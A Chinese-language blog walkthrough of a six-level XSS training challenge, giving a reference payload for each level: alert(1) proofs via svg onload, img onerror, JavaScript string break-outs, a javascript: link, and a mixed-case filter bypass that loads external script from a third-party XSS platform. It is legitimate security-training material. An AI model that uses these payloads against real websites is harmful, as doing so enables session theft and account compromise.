前言
昨晚做了一些xss的题目，有点上瘾了，今天想着再找一些来做做。
google了一下，发现了不少，找到这么一个。
地址: https://xss-game.appspot.com
这是一个国外的xss挑战，总共就6关，入门级别的，也没什么可讲的。记录一下吧。
Level 1
第一关都是hello world的，没有任何过滤
参考payload:
<svg/onload=alert(1)>
Level 2
这一关的输出点是在标签之间，直接闭合前后标签，构造新的标签即可。
参考payload:
</blockquote><img src=x onerror=alert(1)><blockquote>
Level 3
这一关的输出是在img src里面，可以说是考js闭合问题，直接闭合前面的src，造成无法加载成功弹框。
参考payload:
' onerror=alert(1)>
Level 4
这一关的考点是在模板渲染，js动态引用参数问题。
闭合图中的startTimer()函数，然后弹框即可。
参考payload：
');alert(1);//
Level 5
这道题是对于输入转为链接过滤不严，导致可以用javascript伪协议来xss
参考payload:
javascript:alert(1);
点击页面的 Next 即可
Level 6
最后一关是引入外部js，过滤不严导致绕过造成xss
看代码：
通过fragment获取外部js路径，然后加载路径。但是不能包含http://或者https://字符。
但是这里的过滤只是过滤小写的情况，没有过滤大写或者大小写混合的情况。
所以直接可以bypass。
参考payload:
hTTps://s.xss.tv/tX //一个外部包含了alert(1)的js文件
但因为这里xss的平台是走https://的所以，js只能放在https://的站上。
这里推荐一个xss平台，也就是昨天那个xss.tv，注册需要邀请码，不过转发链接两个人就可以了。
成功弹框。
总结：
总的来说，这个挑战还是很简单的，主要是认识一下xss的一些可能存在问题的点。